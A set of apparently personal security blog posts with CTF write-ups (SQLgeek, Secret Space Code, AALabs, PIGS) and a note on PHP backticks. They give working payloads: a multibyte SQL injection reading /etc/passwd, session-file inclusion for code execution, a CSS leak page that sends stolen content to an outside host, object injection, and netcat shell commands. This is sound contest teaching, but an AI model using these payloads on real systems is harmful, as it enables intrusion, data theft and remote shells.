Secuinside CTF writeup SQLgeek

June 12, 2012

Last weekend we participated at secuinside ctf. Mainly there were 7 binary and 7 web challenges besides a few other. All web challenges were really fun and according to the stats SQLgeek was one of the hardest web challenges. For all other web challenges there are already writeups, so here is one for sqlgeek. The source code of the PHP application was given and the challenge required 3 tasks. PHP’s magic_quotes_gpc was enabled.

1. SQL Injection

First I looked at the given source code without playing with the complicated application. Line 409 and following was eye-catching because some SQL filtering was going on.

if($_GET[view])
{
	$_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr');
	if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])) 
		exit("Access Denied");
	if(strlen($_GET[view])>17) 
		exit("Access Denied");

	$q=mysql_fetch_array(mysql_query("select * from challenge5 
	where ip='$_GET[view]' and (str+dex+lnt+luc)='$_GET[stat]'"));
	...
	echo ("</td><td>STR : $q[str]<br>DEX : $q[dex]<br>INT : $q[lnt]<br>LUCK : $q[luc]</td></tr>");
}

Even more interesting was line 411, where the input GET parameter view was converted to a korean charset before embedding it into the SQL query in line 418. This leads to a SQL injection. Chris shiflett, kuza55 and others published a bypass of the escaping in MySQL several years ago abusing uncommon charsets.

Summarized, if you supply the character sequence %bf%27 it will be escaped (due to the PHP setting magic_quotes_gpc=on) to %bf%5c%27 (%bf\’) and by converting this to the charset euc-kr the valid multibyte %bf%5c in this charset will be converted to one korean symbol leaving the trailing single quote %27 unescaped.

Since the view parameter was filtered for SQL keywords in line 412 it was a good idea to use the other GET parameter stat, that was not filtered. Instead injecting a single quote to break the ip column value in the WHERE clause I extended the value by supplying a backslash with the same trick explained above:

/index.php?view=%bf%5C

Now internally the PHP application escaped the backslash (%5C) in %bf%5C to %bf%5C%5C and after the call of mb_convert_encoding it left a korean character and an unescaped backslash that got injected to the SQL query:

where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'"));

My injected backslash escaped the next quote and extended the ip value until the next quote. Hence I could start with my own SQL syntax in the stat parameter:

/index.php?view=%bf%5C
&stat=+union+select+1,user(),version(),4,5,6,7--+-

Interestingly the MySQL user was root. So it was very likely to have the FILE privilege to read files:

/index.php?view=%bf%5C
&stat=+union+select+load_file(0x2F6574632F706173737764),user(),version(),4,5,6,7--+-

Indeed /etc/passwd (here hex encoded to avoid quotes) could be read. At the end of this file a new hint was given:

/var/www/Webgameeeeeeeee/ReADDDDDDD______MEEEEEEEEEEEEE.php

2. Local File Inclusion

If I recall correctly the given source code of ReADDDDDDD______MEEEEEEEEEEEEE.php was like the following:

<?php
session_start();

if(eregi('[0-9]', $_SESSION['PHPSESSID']))
	exit;
if(eregi('/|\.', $_SESSION['PHPSESSID']))
	exit;

include("/var/php/tmp/sess_".$_SESSION['PHPSESSID']);
?>

Now first of all the same session is shared between the index.php and the ReADDDDDDD______MEEEEEEEEEEEEE.php. PHP sessions are stored in session files in a path that is configured with the session.save_path setting, likely the path that is prefixed in line 9. The name of the file consists of a prefix (normally sess_) and a value (normally md5) that is submitted by the cookie parameter PHPSESSID. In this file, the values of the global $_SESSION array are stored serialized. By altering the cookie one can create arbitrary session files (within a alphanumerical charset). However, this does not set the $_SESSION array key PHPSESSID to the same value.
Having a look again at the source code of the main application index.php I found the following lines right at the top:

<?
@session_start(); include "conn.php";
extract($_GET);
?>

The extract function that is called in line 3 simulates the dangerous register_globals PHP setting allowing to register global variables through input parameters. We can abuse this to set our own $_SESSION key PHPSESSID with the following GET request:

/index.php?_SESSION[PHPSESSID]=reiners
Cookie: PHPSESSID=reiners

Now the local file /var/php/tmp/sess_reiners is created (due to our cookie) and the following value (registered through extract) is stored:

PHPSESSID|s:7:"reiners";

If we visit ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie again we now have a local file inclusion of our session file /var/php/tmp/sess_reiners in line 9 bypassing the the filter for numerical characters in line 4. To execute arbitrary PHP code we simply add another $_SESSION key value that contains our PHP code which will be stored in our session file:

/index.php?_SESSION[PHPSESSID]=reiners
&_SESSION[CODE]=<?print_r(glob(chr(42)))?>
Cookie: PHPSESSID=reiners

This PHP code will list all files in the current directory. I encoded the * because magic_quotes_gpc would escape any quotes and mess up our PHP code stored in the session file. Switching back to ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie our session file gets included and executes our PHP code which printed:

Array ( 
	[0] => ReADDDDDDD______MEEEEEEEEEEEEE.php 
	[1] => ReADDDDDDD______MEEEEEEEEEEEEE.phps 
	[2] => conn.php 
	[3] => images 
	[4] => index.php 
	[5] => index.phps 
	[6] => passwordddddddddddddddd.php 
	[7] => passwordddddddddddddddd.phps 
	[8] => readme 
)";

3. Race condition

Another PHP file was revealed and the source code was given in passwordddddddddddddddd.phps:

<?
system("echo '????' > readme/ppppaassssswordddd.txt");
?>
<h1><a href=passwordddddddddddddddd.phps>source</a></h1>
<?
system("rm -f readme/ppppaassssswordddd.txt");
?>

Finally we can see that the flag is in line 2 (in the source file replaced with ????). So first I simply tried to read the original passwordddddddddddddddd.php file that must contain the real flag. But this would have been to easy 😉 The readme/ppppaassssswordddd.txt also did not already exist.

So I had to solve the race condition. Here I have just a bit of a second to fetch the ppppaassssswordddd.txt with the flag that is created in line 2 before it gets deleted in line 6 again. Lets check if we can use this tiny time window. I injected the following PHP code in my session file as described in stage 2:

<?php
while(!($a=file_get_contents(
chr(114).chr(101).chr(97).chr(100).chr(109).chr(101).chr(47).chr(112).chr(112).chr(112).chr(112).chr(97).chr(97).chr(115).chr(115).chr(115).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100).chr(100).chr(100).chr(100).chr(46).chr(116).chr(120).chr(116))
)){}print_r($a)
?>

It simply loops endless until the variable $a is successfully filled with the file content of the readme/ppppaassssswordddd.txt file (file name encoded again because magic_quotes_gpc avoided quotes to form strings). Then I visited the script ReADDDDDDD______MEEEEEEEEEEEEE.php with my cookie again that now executed my PHP code and was looping endless. Then I visited the passwordddddddddddddddd.php script that would create the wanted readme/ppppaassssswordddd.txt file and immediatly delete it. To my surprise only one visit was needed so that the hanging ReADDDDDDD______MEEEEEEEEEEEEE.php stopped and finally printed the flag:

bef6d0c8cd65319749d1ecbcf7a349c0

A very nice challenge with several steps, thank you to the author!
If you have solved the binaries I would love to see some writeups about them 🙂

update:

BECHED noticed in the comments that you could also do a HTTP HEAD request to the passwordddddddddddddddd.php script which will parse the PHP script only until the first output, thus not deleting the flag file. You can find more details about this behaviour here.

Advertisement

hack.lu CTF 2011 challenge writeup – Secret Space Code

September 27, 2011

Secret Space Code (SSC) was another web challenge I prepared for the hack.lu 2011 conference CTF. Because we experienced that web challenges are one of the most solved challenge categories during the last CTFs we participated and organized we decided to provide some tough ones.
SSC was about a client-side vulnerability in IE8 that has been patched in December 2010 without any big attention. However I felt this was a cool vulnerability and worth a 500 points challenge. The challenge text was:

The Secret Space Code (SSC) database holds a list of all space shuttle captains and their missile launch codes. You have stolen the X-wing Fighter “Incom T-65” from captain Cardboard and you need the missile launch codes for a crazy joyride. You have heard that the SSC admin (twitter: @secretspacecode) is from redmoon where they only use unpatched Internet Explorer 8 …

hint: Client-side challenges are error-prone. Practice your attack locally before sending a link to the SSC admin via private message.

After we got some metasploit tainted links we added the hint that “client-side” was referred to vulnerabilities like CSRF and XSS and not to client-side stack smashing 😉 Otherwise the challenge would not have been filed under the category web.
When visiting the challenge website there was only a password prompt. The first and easy task was – as in many other challenges – to detect the source code file index.phps:

<?php
error_reporting(0);
header('Server: Secret Space Codes');
header('Content-Type: text/html; charset=UTF-8');
header('X-XSS-Protection: 1; mode=block');
session_start();
?>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
	<title>Secret Space Codes - Database</title>
</head>

<body>
<div id="main">
<h1>Secret Space Codes Database</h1>
<?php
require 'config.php';

if(isset($_GET['pass']))
{
	if($_GET['pass'] === $password)
	{
		$_SESSION['logged'] = true;
	} else
	{
		$_SESSION['logged'] = false;
		echo '<p>Wrong password, get lost in space!</p>',"\n";
	}
}

if(isset($_SESSION['logged']) && $_SESSION['logged'] === true)
{
	$conn = mysql_connect($Host, $User, $Password) 
		or die("Error: Can not connect to database. Challenge broken");

	mysql_select_db($Database, $conn) 
		or die("Error: Can not select database. Challenge broken");
		
	$where = '';
	echo '<form action="">',"\n",
	'<table>',"\n",
	'<tr>',"\n",'<td><input type="text" name="captain" value="';
	if(isset($_GET['captain']))
	{
		echo htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
		$captain = str_replace('all', '%', $_GET['captain']);
		$captain = mysql_real_escape_string($captain, $conn);
		$where.= "WHERE captain like '%$captain%' ";
	} else
	{
		echo 'all';
	}
	echo '" /></td>',"\n",'<td><select name="o">';
	if(isset($_GET['o']) && preg_match('/^(ASC|DESC)$/im', $_GET['o']))
	{	
		if(strtolower($_GET['o']) === 'asc')
			echo '<option selected>asc</option>',
			'<option>desc</option>';
		else if(strtolower($_GET['o']) === 'desc')
			echo '<option>asc</option>',
			'<option selected>desc</option>';	
			$where.= "ORDER BY captain ".$_GET['o'];
	} else
	{
		echo '<option>asc</option>',
			'<option>desc</option>';
	}
	echo '</select></td>',"\n",
	'<td><input type="submit" value="search" /></td>',"\n",
	'</tr>',"\n",
	'</table>',"\n",
	'</form>',"\n";
	$result = mysql_query("SELECT captain,code FROM captains $where", $conn);
	echo '<p>Result for captain '.htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
	if(isset($_GET['o'])) 
		echo ' ('.htmlentities($_GET['o'], ENT_QUOTES, 'utf-8').'ending)';
	echo '</p>',"\n",
	'<table>',"\n",
	'<tr><th>captain</th><th>code</th></tr>',"\n";
	if(!mysql_error() && mysql_num_rows($result) > 0)
	{
		for($i=0; $i<mysql_num_rows($result); $i++)
		{
			if(!($row = mysql_fetch_array($result)))
			{
				die("Error. Challenge broken.");
			}
			$captain = htmlentities($row['captain'], ENT_QUOTES, 'utf-8');
			$code = htmlentities($row['code'], ENT_QUOTES, 'utf-8');
			echo "<tr><td>$captain</td><td>$code</td></tr>\n";
		}	
	} else
	{
		echo '<tr><td colspan="2">No codes found.</td></tr>',"\n";
	}
	echo '</table>',"\n";

} else
{
	echo '<form action="" method="GET">',"\n",'<table>',"\n",
	'<tr><th colspan="2">Login</th></tr>',"\n",
	'<tr><td>password:</td><td><input type="password" name="pass" value="" /></td></tr>',"\n",
	'<tr><td colspan="2" align="right"><input type="submit" value="login" /></td></tr>',"\n",
	'</table>',"\n",'</form>',"\n";
}	
?>	
</div>

</body>
</html>

The source code shows that after providing the right password the admin is logged in by session and gets a list of all captains and their codes. He also has the option to search for a specific captain and to order the list by GET parameter o ascending or descending. However there is no SQLi or XSS vulnerability. Everything is escaped and encoded correctly. The password was a 32 character long string and could not be guessed or bruteforced.
Anyway an attacker could steal the secrets knowing that his victim runs IE8. A very cool cross-domain leakage was published by scarybeast in September 2010 that could be used like the following to steal the missile launch codes from all captains:

  1. We reflect the following CSS via the GET parameter o:
    {}body{font-family:{
    

    That is possible because we only need braces that are not encoded by htmlspecialchars() and similar functions. Note that this means that every webapp is vulnerable to this attack as long as braces are not explicitly encoded.

  2. We load the webpage with our reflectively injected CSS as CSS resource:
    <link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
    

    That is possible due to the lax IE8 CSS parsing. The first two braces make sure that every HTML content before our CSS is treated as (broken) CSS. Then our CSS starts where we define everything that follows in the HTML output as the body font-family. Because the IE8 parser will not find an ending brace it will include everything to the font-family until the end of file is reached.

  3. Now we have loaded the remote website with the whole content defined as font-family we simply access the currently computed font-family name and get the password protected content, when our victim is logged in and visits our prepared HTML webpage:
    <html>
    <head>
    	<link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
    </head>
    <body>
    <script>
    function getStyle() {
    	var html = document.body.currentStyle.fontFamily;
    	//alert(html);
    	document.location.href="http://www.fluxfingers.net/?log="+encodeURIComponent(html);
    }
    window.setTimeout(getStyle, 2000);
    </script>
    </body>
    </html>
    

    We also set a timeout in case loading the remote site as CSS resource takes some time.

The code for captain Cardboard was F15-F29-F32-F65-F17-F22. For more information about this attack read scarybeasts blogpost or this paper. Note that this can only be reproduced with an unpatched IE8. Alternatively you can add the prepared HTML page to your trusted zone which will bypass the patch.
As almost expected nobody solved this challenge most likely because the attack has not got much attention. However knowing that it is IE8 specific one could have looked at the recent IE8 patches. Also SSC is backwards for CSS and could have got you in the right direction (scarybeasts blogpost is the second hit when googling “IE8 css security”). Thanks to .mario for bringing this vuln to my attention.


hack.lu CTF 2011 challenge writeup – AALabs (Part 1)

September 26, 2011

As last year our CTF team FluxFingers organized the hack.lu conference CTF. Again the CTF was open to participants all over the world.

As last year I prepared some web challenges designed in this years topic “space”. The challenge AALabs was about a website of a Asteroid Analysis Laboratory where you could create an account and upload asteroid meta data files for analysis. As a result a graph was shown to the user that summerized the amount of different material detected in that asteroid.

The challenge text was:

You have stolen the administrators password hashes from AALabs – a profitable technology center in outer space. However you were not able to crack them yet. Can you find out the salt?

Similar to last years web challenge you had to use different techniques to get the salt. At first you had to create an account with a unique username, your password and several other info about yourself. The AALabs webapp then internally created the new directory /home/files/username/ to later upload your files to a unique directory. Also the webapp added the user to the database for authentication and file authorization.
After registration you could login and upload your asteroid meta files. Once successfully uploaded, your file was listed in the analysis table with the option to delete the file and to create an analysis report.

Here one could find a SQL injection. By uploading a file named foobar the following SQL error was triggered when creating a report:

Query failed: UPDATE metafiles SET reportfile = ‘/home/files/username/foobar.report’ WHERE id = 7 AND userid = 3

Obviously the file name was escaped correctly when INSERTed into the table of uploaded files. However when creating a report and saving the new report file name (that includes the original file name) the name was not escaped correctly and the error was triggered during the UPDATE statement.
The trick here was to closely look at this error message before trying to exploit the SQL injection. It reveals the behavior that has been described above: the webapp operates with a directory that includes your username. Since it generates your report files in /home/files/username/ with your uploaded file name and the appended .report extension, it is very likely that it also uploads your file to the same directory /home/files/username/. That is safe at the first glance because the directory /home/files/ can not be accessed via webserver and many teams continued to investigate the SQL injection. However the SQL injection itself was a dead end because important characters like parenthesis were filtered. The SQL injection was actually a Information Leakage.
The trick was to register a new account with a Path Traversal in your username such as ../../var/www/Reiners. Doing so forces the webapp to upload your files into the webdirectory /var/www/ and your subdirectory Reiners/. After that you could simply upload your PHP shell to the webdirectory and access it by browser. Since the safe_mode was enabled (we will come back to that later in part 2) you had to use file functions for further investigation, for example:

<?php
// Listing all files in a directory:
print_r(scandir('/var/www/'));
// read the configuration file that includes the salt:
echo file_get_contents('/var/www/config.php');
?>

The salt and the solution for this first part of the challenge was:
AA!LaBS.

I omitted the task to use the salt and a given hash to crack the password because I felt this was boring, however it would have added just another technique required to get to the goal. So far for the first task that was worth 200 points. A second task was waiting for the teams that was worth another 300 points and that required to exploit PHP itself and bypass the safe_mode:

Now that you gained access to AALabs it is time to do some further digging to get into their system. However they seem to have a pretty safe configuration running on their webserver. Can you get around it and read the Flag?

A writeup will follow for this task. Unfortunetely only one team (props to bobsleigh) managed to solve the first task. I don’t think that the first task was too hard, however there were two distractions. First of all the SQL error was mostly pointing the teams to a SQL injection filter evasion challenge rather than a simple information leakage. Secondly the path traversal had to exactly point to the webdirectory because the www-data user had only write access to /home/files/ and to /var/www/. I can imagine that some teams tried to traverse only one directory up to see if path traversal is possible but stopped trying after not successfully writing to /home/.
Anyway I hope some teams enjoyed the challenge 🙂


hack.lu CTF challenge 21 writeup – PIGS

October 30, 2010

This week we organized the Capture-The-Flag contest for the hack.lu conference in Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. The big topic was “pirates”. Everything is mirrored at http://hacklu.fluxfingers.net/ where you can find lots of other cool challenges and writeups.

In challenge 21 the players were given a website of a criminal pirate organization stealing gold. The task was to hack the website and to find out, how much gold the leader ‘Jack’ has stolen so far.

In the “Support us” area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ignored. However there is a hint in the text:

Our website supports 10 international languages (automatically detected) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your language file.

Also 10 different flags on top of the site menu show which languages are supported. How are those languages detected automatically? By the Accept-Language-header your browser sends automatically. You can verify this by sending different header values (I prefer using Live HTTP Headers). In example Accept-Language: es will show the website with spanish text.

The quote shown above also reveals that the website uses language files. Also sending a unsupported language in the header leads to the following error:

Accept-Language: foobar
Language (foobar) not available. Switching to default (en).

We know that the website fetches the text from files. Lets try a path traversal:

Accept-Language: index.php
Language (index.php) not available. Switching to default (en).

Accept-Language: ../index.php
Could not import language data from ‘<?php ..code.. ?>’

Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code.

The source code reveals, that there is a hidden ?id=17 displaying the admin login interface. Behind this interface the current gold status of the logged in captain is shown. The task is to find out captain Jack’s gold status so we need to login as ‘Jack’. Lets see how we can accomplish that.

The file worker/funcs.php reveals how the language files work. Basically all language data is stored serialized in files. Those language files are stored in messages/. Each language file also has to have the serialized variable $secretkey set to “p1r4t3s.k1lly0u” to pass the check if the file is signed. Then, all data is unserialized and assigned to the global array $messages which will be used to display the text throughout the website.

Now we know the key to sign we can upload our own files. To create a valid serialized file we can simply use the following php code:

<?php
$messages = array("secretkey" => "p1r4t3s.k1lly0u");
echo serialize($messages);
?>

which will give you:

a:1:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";} 

You can also write this down manually (small introduction to serialize syntax):

a:1: create array with 1 element
{: array start
s:9:”secretkey”: array key: string with 9 characters
s:15:”p1r4t3s.k1lly0u”: array value: string with 15 characters
}: array end

However we can not directly browse to messages/ because we get a 403 forbidden for this path. Uploading a signed php file with php code (php shell) within the serialized strings will not work here.

Investigating the object-oriented code in worker/mysql.php shows how the database queries and connection is handled. For each request to the PIGS website a new class object sql_db is created. This object is initialized with the reserved function __wakeup() and later destroyed with the reserved function __destruct(). One can see that when the function __destruct() is triggered, the function sql_close() is called. On the first look this looks unsuspicious. However when looking at the function sql_close() we see that a log event is initiated.

function __destruct()
{
	$this->sql_close();
}

function sql_close()
{
	[...]
	$this->createLog();
	[...]
}

function createLog()
{
	$ip = $this->escape($_SERVER['REMOTE_ADDR']);
	$lang = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);
	$agent = $this->escape($_SERVER['HTTP_USER_AGENT']);
	$log_table = $this->escape($this->log_table);
	$query = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')";
	$this->sql_query($query);
}

So every request will be logged into the table that the current sql_db object has been initialized with (logs) during the constructor call sql_db(). The inserted values are all escaped correctly, so no SQL injection here. Or maybe there is?

The function __destruct() of every instanced object is called once the php interpreter has finished parsing a requested php file. In PIGS for every request an object of sql_db is created and after the php file has been parsed the __destruct() function is called automatically. Then, the function sql_close() is called which calls the function createLog().

When uploading a language file that contains a serialized sql_db object this object will be awaken and lives until the rest of the php code is parsed. When the createLog() function is called for this object within the __destruct() call, the locale variable log_table is used in the sql query that creates the logentry. Because this locale variable can be altered in the serialized string uploaded with the file, SQL injection is possible.

To trigger the vulnerability we create a signed language file with the key and with a sql_db object that has an altered log_table. Since we need to login as user ‘Jack’ we simply abuse the INSERT query of the createLog() function to insert another user ‘Jack’ with password ‘bla’ to the users table:

INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent')

$log_table=users VALUES ('', 'Jack', 'bla', '0')-- -

the query will become:

INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent')

which will insert the specified values into the table users. The table name is escaped before used in the query, however a table name is never surrounded by quotes so that an injection is still possible. We simply avoid quotes with the mysql hex representation of strings. To build the serialized string we can instantiate a modified sql_db object ourselves and serialize it. The mysql connection credentials can be read from the leaked source code files.

<?php

class sql_db
{
	var $query_result;
	var $row = array();
	var $rowset = array();
	var $num_queries = 0;

	function sql_db()
	{
		$this->persistency = false;
		$this->user = 'pigs';
		$this->password = 'pigs';
		$this->server = 'localhost';
		$this->dbname = 'pigs';
		$this->log_table = "users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";
	}
} 

$db = new sql_db();

$payload = array (
  'secretkey' => 'p1r4t3s.k1lly0u',
  $db
);

echo serialize($payload);
?>

Now we can simply save the serialized payload into a file and upload it.

a:2:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";i:0;O:6:"sql_db":10:{s:12:"query_result";N;s:3:"row";a:0:{}s:6:"rowset";a:0:{}s:11:"num_queries";i:0;s:11:"persistency";b:0;s:4:"user";s:4:"pigs";s:8:"password";s:4:"pigs";s:6:"server";s:9:"localhost";s:6:"dbname";s:4:"pigs";s:9:"log_table";s:45:"users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";}}

The language file will successfully pass the key-check and the language data will be unserialized. Then the sql_db object will be created with the modified log_table variable. Finally the __destruct() function is called automatically and the log_table will be used during the createLog() function which triggers the SQL injection and the INSERT of a new user ‘Jack’. Now we can login into the admin interface with our user ‘Jack’ and the password ‘bla’. Then the function printGold() is called for the username that has been used during the successful login.

function printGold()
{
	global $db;
	
	$name = $db->escape($_POST['name']);
	$result = $db->sql_query("SELECT gold FROM users WHERE name='$name'");
	if($db->sql_numrows($result) > 0)
	{
		$row = $db->sql_fetchrow($result);
		echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);
	}	
}

The first matching account with the user ‘Jack’ will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: 398720351149

This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser’s piwik exploit it should have been straight forward once you could download the source code. Funnily I have seen one team exploiting the SQL injection blindly 😉

Update: there is another writeup for this challenge in french available here


Fun with Backticks

May 26, 2008

While chatting with some guys at the OWASP AppSecEU 08 I noticed that backticks are oftenly overlooked in PHP. I came across backticks myself just some time ago while researching vulnerable functions on php.net for my PHP Scanner and found this entry. So you can use something like

$foo = `command here`;

to execute OS commands just like using system, shell_exec and what have you. This was absolutely new to me, although I’ve been working with PHP for quite a while and can be easily overlooked when reviewing code or filtering on mentioned functions (which is an bad idea anyway ;))

While talking about backticks I remembered a quite interesting security hole given on the UCSB CTF 07 (in the service “copyright” for those of you who participated or want to have a shot at the image). The service allowed to upload files and the relevant PHP code looked like the following:

$target_path = "../../uploads/". basename( $_FILES['file']['name']);
$command = "cp ".escapeshellarg($_FILES['file']['tmp_name'])." ".$target_path;
exec($command, $out, $ret);

If you take a closer look at the code you will see that you can execute code by naming the file you are going to upload to something like

foo;ping localhost

since “;” are allowed in filenames and will add a new command after the cp command gets executed. The problem was that we needed slashes in our filename to execute “foo;nc -l -p 2222 -e /bin/bash” or copy some interesting files to the webdir with “../../../../var/www/Site”. Obviously you cant rename your file containing a slash or craft such a request because its still handled as a file by PHP and slashes would be dealed as directorys. Now my mate Freddy had the idea to use backticks again, because they work at the command line just like in PHP to execute commands and return their output:

foo;nc -l -p 2222 -e `nc -l -p 3333`

This code will wait for something passed on port 3333 and then execute the rest of it. So we connect to port 3333, enter /bin/bash and will finally get a remote shell.
As we figured out afterwards this was a fairly stupid workaround for just using nc -l -p 2222 -e `which bash`, but was plain fun anyway during the contest.

Interesting to note is also that backticks on commandline work in double quotes, but not in single quotes.